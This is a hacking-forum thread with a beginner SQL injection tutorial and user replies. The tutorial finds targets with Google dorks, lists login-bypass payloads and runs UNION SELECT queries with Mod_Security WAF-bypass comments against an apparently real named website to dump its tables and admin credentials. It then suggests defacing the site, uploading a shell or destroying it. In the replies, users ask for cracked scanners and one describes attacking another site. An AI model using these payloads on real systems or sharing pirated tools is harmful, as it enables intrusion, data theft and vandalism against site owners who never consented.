

Forum:[Hack Forums](#)

Thread: [\[TUT\] Basic SQL Injection for Beginners \[TUT\]](#)

Aakash Choudhary - December 27, 2014, 12:15 am

Hello Friends !!!

I am CodeNinja a.k.a. Aakash Choudhary and I saw many basic tutorials on SQLI here so I also want to contribute my tutorial on HF So now I am going to give a basic sql injection tutorial :-

What is SQL Injection:-

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).

In SQL Injection we can fetch all important data from websites and can do malicious activity or can do everything which we want. Its depend on us.

Note:- This tutorial is educational purpose. So learn this technique but don't harm the website.

So Let's Start —>

Part 1:- Using Google Dorks

Google Dorks is the best weapon for hackers. So use it wisely. We can find sql injection websites using dorks. Even you can make your own Dorks

Download Google Dorks from Here :- <http://pastebin.com/tq2TBbmB>

You can search more Dorks from Google :P

How to Use Google Dorks :- Lets See

Choose any Dorks and paste in Google and then Choose any site from there Like this —>

<http://imgtfy.com/?q=inurl%3Atrainers.php%3Fid%3D>

And choose any site from there —>

So now understand about Google Dorks

Part 2: Check Website Vulnerability

Now when we get website then our next part is to check website is vulnerable to sql injection or not

For this You have to put ' after number

eg. —> <http://www.tabletworld.co.in/order.php?pid=55> ' <—— Notice ' after number

This is essential to check vulnerability in site.

You can also use another characters like ',~,!,@, etc etc or AND 1=1[True] AND1=2[false] to check vulnerability in site.

If site vulnerable you will see this type of Error

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "" at line 1

Its mean site is vulnerable.

Sometime you will not see that error. So notice carefully site that is something images, words is missing or not

Part 3:- Find Injection Point

Well what is Injection point? See this carefully

Normal Site :-

<http://www.tabletworld.co.in>

Injection Point of normal Site :-

Hope you understand this Injection Point

But now question arise that how to find Injection Point in particular site

Well for find injection point We use following methods —>

1. Open every links of particular site and use ' to check vulnerability
2. Using Google Dorks :p
3. Input malicious SQLI Codes in Search bar section or in Login Section

These are Some Malicious SQLI Codes for input

' or '1'='1

' or 'x'='x

' or 0=0 —

" or 0=0 —

or 0=0 —

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1—

" or 1=1—

or 1=1—

' or a=a—

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 —

hi' or 1=1 —

'or'1=1'

Now i will tell you to how to find injection point using Google Dorks. Just use following Dorks in google and you will see your desired results. Just use all of that result one by one

1. inurl:.php?id= site:www.sitenamename.com

2. site:www.sitenamename.com "php?"

3. site:www.target.com php

4. site:www.sitenamename.com .php? / .php?id=

5. By using bing —> ip:127.0.0.1 "php?id" where you will use ip of particular site

6. site:"*.site.com" inurl:"php?"

7. site.com/robots.txt

8. inurl:".php?id="+site:www.site.com

Here is live example of using Above Dorks

inurl:.php?id= site:http://www.tabletworld.co.in

Here is result :-

So use any site from there

I choose this one

<http://www.tabletworld.co.in/order.php?pid=55>

Hope you understand this part

Part 4:- Real SQLI Steps coming now after get vulnerable site

Here is our target

<http://www.tabletworld.co.in/order.php?pid=55>

Step 1:- Use ' after number

<http://www.tabletworld.co.in/order.php?pid=55'>

Error :-

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Mean site is vulnerable

Step 2:- Find number of columns

For find number of columns we use this commands

1. order by
2. group by
3. procedure analyse()

Well this time i am using only order by command. When you see order by command is not working then we use group by command

About procedure analyse() ----->

In some site when we use procedure analyse() then you will see any error with many number of repetition.

The PROCEDURE ANALYSE() can recognize the columns in the query.

Like --->

DATE

DATE
DATE

If you see DATE [Not exactly this mean other error also you can see. This is just an example] three times mean that site have three number of columns.

Order by command ———>

<http://www.tabletworld.co.in/order.php?pid=55> order by 1-- <——- No error

<http://www.tabletworld.co.in/order.php?pid=55> order by 10-- <——- No error

<http://www.tabletworld.co.in/order.php?pid=55> order by 20-- <——- No error

<http://www.tabletworld.co.in/order.php?pid=55> order by 30-- <——- Error

Unknown Column '30' in 'order clause'

Its mean number of columns is less then 30 and above than 20

Some time you will not see that error but some missing on page. So check carefully

<http://www.tabletworld.co.in/order.php?pid=55> order by 25-- <—— Error

Unknown Column '25' in 'order clause'

Its mean number of columns is less than 25

<http://www.tabletworld.co.in/order.php?pid=55> order by 24-- <—— No error :D

Its mean we have 24 number of columns

Step 3: Find vulnerable Columns

Now our next step is to find vulnerable columns in those 24 columns. Because we input our sqli queries in those vulnerable columns

We use this command ———> union select

<http://www.tabletworld.co.in/order.php?pid=-55> union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

Notice – before 55. It is necessary when use union select command. But sometimes we not use – before number. We use other methods/tricks instead of – . But when to use and what to use. I will tell about this in other tutorial

Now after that when use union select i see this WAF Message

Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This

error was generated by Mod_Security.

What is WAF —> Web Application Firewall

which is use to protect website from hacking attacks. But there is lots of methods to bypass that WAF

These are WAF Messages —>

406 Not acceptable

403 Forbidden

404

500

In above WAF Messages we use different different methods to bypass WAF

Now come to that site where we see that above error

To bypass WAF we use comments —>

/*!*/ like —> /*!union*/

or

/*!50000*/ —> /*!50000union*/

<http://www.tabletworld.co.in/order.php?pid=-55> /*!50000union*/ select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

Well the vulnerable column is —> 5 & 7

Now our whole desire malicious queries will by putting in those vulnerable column like this

For version —> version() & @@version

<http://www.tabletworld.co.in/order.php?pid=-55> union select
1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

Now see carefully. I use version() command by replacing vulnerable column 5

we can also use our queries in both vulnerable column i.e. 5 & 7

Well why we use version there? Because after check version we come to know that what to do next

Like —> If version is above than 5 then we can use information_schema to dump tables,columns

But if version is below than 5 then we dump tables blindly. There we can't use information_schema

Step 4:- Find tables data

Now our next step is to find table data of website

Commands we use for find table data is —>

table_name

from

information_schema.tables

where

table_schema=database()

Now how and where to use that above commands?

Lets see

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from  
information_schema.tables where table_schema=database() --
```

Notice:- table_name —> is in vulnerable column 5. And our rest commands after number 24 but before --

So remember this. :P

Well now the result is in message a WAF Message

Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.

Now i use /*!50000*/ in from word like —> /*!50000from*/

Well how you know where to put WAF Bpass method in which place. Don't Worry.I will tell you in my other tutorial about first understanding WAF Behavior than apply that WAF Bypass Methods.

Here is the code:-

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 /*!50000from*/  
information_schema.tables where table_schema=database() --
```

Result :-

Notice that

Now i am also use one more command —>

concat() —> CONCAT function is used to concatenate two strings to form a single string

group_concat() —> GROUP_CONCAT is used when you want to have data from different column rows in a single row. For this you need to have GROUP BY to work.

concat_ws() —> CONCAT_WS is just to join two values.

Well in this site when we use group_concat() function we see this error —>

Code —>

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24  
/*!50000from*/ information_schema.tables where table_schema=database() --
```

WAF Message —>

Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.

Bypass using /*!50000group_concat*/()

Like —>

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,/*!50000group_concat*/(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24  
/*!50000from*/ information_schema.tables where table_schema=database() --
```

Now Error —>

FUNCTION marvelso_tabletworld.group_concat does not exist. Check the 'Function Name Parsing and Resolution' section in the Reference Manual

Its mean you can't use group_concat function there. So we will use concat() there

Code —>

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,/*!50000concat*/(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24  
/*!50000from*/ information_schema.tables where table_schema=database() --
```

Now result —>

You see admin table there. What if you not see admin table there?

Two reasons —>

May be there not admin tables in database

OR

Because of concat function we are unable to see others tables too

If we use group_concat we can see all table details on page

But in concat function we are able to see only one table detail. But for see other table detail we use this command—>

limit 0,1

like this

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,/*!50000concat*/(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24  
/*!50000from*/ information_schema.tables where table_schema=database() limit 0,1 --
```

You can increase limit like this —> limit 1,1 limit 2,1 limit 3,1 etc etc

See code —>

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,/*!50000concat*/(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24  
/*!50000from*/ information_schema.tables where table_schema=database() limit 1,1 --
```

And see Result —>

Notice that red mark. That is 2nd table of database

Another one using limit 2,1 —>

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,/*!50000concat*/(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24  
/*!50000from*/ information_schema.tables where table_schema=database() limit 3,1 --
```

Another result —>

Another 3rd table —> customer

Hope now you understand to use concat() function using limit 0,1 function. If not you can ask me your doubts.

Step 5:- Find Columns detail

Command for this —>

column_name

from

information_schema.columns

where

table_name='table name here'

Note :-

Your table name should be in hex format.How i will show you

See this Code —>

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,/*!50000concat*/(column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24  
/*!50000from*/ information_schema.columns where table_name=0x61646d696e --
```

Where —>

0x61646d696e is —> admin

Result —>

We again use limit function to get more column details

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,/*!50000concat*/(column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24  
/*!50000from*/ information_schema.columns where table_name=0x61646d696e limit 1,1--
```

Result —>

Again next column details using limit 2,1

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,/*!50000concat*/(column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24  
/*!50000from*/ information_schema.columns where table_name=0x61646d696e limit 2,1--
```

Result —>

So now we got our desire column details —>

id,username,password

This detail is enough for hacking as we will get admin details using that

Step 6 :-Find admin details[his name,password etc]

Commands —>

concat(username,0x3a,0x3a,password) <—Where 0x3a is hex coding of :

from

table name here like admin

Code —>

```
http://www.tabletworld.co.in/order.php?pid=-55 /*!50000union*/ select  
1,2,3,4,/*!50000concat*/(username,0x3a,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,  
21,22,23,24 /*!50000from*/ admin --
```

Result:-

So,we get admin details of database —>

username:- admin

password:- admin

Part 5:-

What we do after get admin details i.e. username,password

We'll go and find admin page of website where you put admin details there and enter the world of admin panel.Where you can control everything.What can we do —>

1.Deface the website

2.Shell uploading

3. Destroy the website

And much much more

We'll how to get admin page of website —>

Just try this following —>

<http://sitename.com/admin>

<http://sitename.com/administrator>

<http://sitename.com/login>

<http://sitename.com/robots.txt>

These are few. There are others more methods. You can also use admin finder tools to find admin page.

Part 6:- String Base

Friends some times when you do ---> order by 100, order by 10000 and when you not get any error then try string base SQLI

Like this --->

<http://www.sitename.com/news.php?id=44>' order by 100--+

Notice ' after id=44 and --+ after 100.

There you can also use -- -,--+-,--+---+,%23,#,;%00

Part 7: Additional Things

1.How to print your name --->

In Normal -->AAKASH

In Hex Format -->

03c666f6e7420636f6c6f723d7265642073697a653d353e41414b4153483c2f666f6e743e

2. How to print name with version --->

concat(AAKASH,Version::,version(),)

Now just hex that HTML Part

3. SQLI Commands useful in Challenge

@@hostname ==> Current Hostname

@@tmpdir ==> Temp Directory

@@datadir ==> Data Directory

@@version ==> Version of Data Base

@@basedir ==> Base Directory

user() ==> Current User

database() ==> Current Database

version() ==> Version

schema() ==> Current Database

UUID() ==> System UUID key

system_user() ==> Current system user

session_user() ==> Session user

@@Global.have_symlink ==>Check if Symlink Enabled or Disabled

@@Global.have_ssl ==>Check if it have ssl or not

Regards: CodeNinja a.k.a. Aakash Choudhary

THANKS

adolfhitler1234 - December 27, 2014, 1:49 am

That is better. No annoying orange and pictures work.

Aakash Choudhary - December 27, 2014, 1:52 am

(Dec 27, 2014 02:49 AM)adolfhitler1234 Wrote: [\[CITE\]](#) That is better. No annoying orange and pictures work.

Thanks brother. Hope it helps you.
35 characters

rajsinhaus - December 27, 2014, 6:18 am

Great job Aakash, I hope this will help me to learn hacking any particular website database, does it required any particular tool to scan the vulnerability of any site.

Aakash Choudhary - December 27, 2014, 6:27 am

(Dec 27, 2014 07:18 AM)rajsinhaus Wrote: [\[CITE\]](#) Great job Aakash, I hope this will help me to learn hacking any particular website database, does it required any particular tool to scan the vulnerability of any site.

Brother for scanning site we use these scanner --->

1. Netsparker
2. Accuentix
3. Vega etc etc

But I am learning to find vul manually

Also for find sqli vul you just use some characters like --->
' , ~ , ` , ! , @ , # etc etc etc

Also ---->

AND 1=1 [True]

AND 1=2 [False]

Thanks

terrystone45 - December 27, 2014, 7:14 am

nice tutorial

u too much bro thanks for the tutorial

caleb8494 - December 27, 2014, 11:14 pm

Thank you very much, hopefully I can stop using sqlmap now.

JaNuS18 - December 28, 2014, 3:36 am

(Dec 28, 2014 12:14 AM)caleb8494 Wrote: [\[CITE\]](#) Thank you very much, hopefully I can stop using sqlmap now.

?

Aakash, time you spent for your tutorial was rewarded ?

The Death - December 28, 2014, 4:22 am

very nice tutorial with live exemple , exactly what i needed, great job sir and thanks you)

Aakash Choudhary - December 28, 2014, 4:52 am

(Dec 28, 2014 04:36 AM)JaNuS18 Wrote: [\[CITE\]](#) ?

Aakash, time you spent for your tutorial was rewarded ?

Appreciation from expert brother is already like as great honour and rewarded for me. ?

(Dec 28, 2014 05:22 AM)The Death Wrote: [\[CITE\]](#) very nice tutorial with live exemple , exactly what i

needed, great job sir and thanks you)Thanks brother. I am happy as this helps you to learn. Thanks ?

rajsinhaus - December 28, 2014, 10:06 am

Aakash, do you suggest SQL Poizon & Havij for searching the vulnerability, I mean does it better than the following tools?

1. Netsparker
2. Accuentix
3. Vega etc etc

Where do we get latest cracked version of these all above tools?

Aakash Choudhary - December 28, 2014, 7:33 pm

(Dec 28, 2014 11:06 AM)rajsinhaus Wrote: [\[CITE\]](#) Aakash, do you suggest SQL Poizon & Havij for searching the vulnerability, I mean does it better than the following tools?

1. Netsparker
2. Accuentix
3. Vega etc etc

Where do we get latest cracked version of these all above tools?

First of all brother i dnt use tools. Only sometimes i used Netsparker.

And for choice for SQL Poizon & Havij as i saw many comments onced I suggest use Havij.

For cracked version i had the cracked version of Netsparker but now that link not working. Use google for get those cracked version or else wai8 for me to upload Netsparker scanner on Mediafire once i get high speed internet

Thanks

Topkek_Is_Life - December 28, 2014, 11:18 pm

(Dec 27, 2014 01:15 AM)Aakash Choudhary Wrote: [\[CITE\]](#) 0x61646d696e is ---> adminHow did you get this. I am fairly new, but I found an easy website to get on, but instead of admin it says hc_admin. How would I convert it so i can continue?

Sorry, I seem to have fixed my own problem. Google is amazing

Aakash Choudhary - December 28, 2014, 11:47 pm

(Dec 29, 2014 12:18 AM)Topkek_Is_Life Wrote: [\[CITE\]](#) How did you get this. I am fairly new, but I found an easy website to get on, but instead of admin it says hc_admin. How would I convert it so i can continue?

Sorry, I seem to have fixed my own problem. Google is amazing

Bro if you using Firefox Browser then use Hackbar addon. Or if you are using Google Chrome then download this extension ---> Hackers Toolkit

Sethmumu - March 14, 2018, 2:17 pm

Great tut, actually not very basic at all haha

Gardener Jim - March 14, 2018, 9:18 pm

(Mar 14, 2018 02:17 PM)Sethmumu Wrote: [\[CITE\]](#) Great tut, actually not very basic at all haha This tut is way outdated. Use DIOS instead in your vuln column.

WhatLosser1337 - March 15, 2018, 4:20 am

what is mean (username, this -> 0x3a, this -> 0x3a it's a hex code? or some word...

Gardener Jim - *March 16, 2018, 8:49 am*

(Mar 15, 2018 04:20 AM)WhatLoss1337 Wrote: [\[CITE\]](#) what is mean (username, this -> 0x3a, this -> 0x3a it's a hex code? or some word...

That's hex for colon :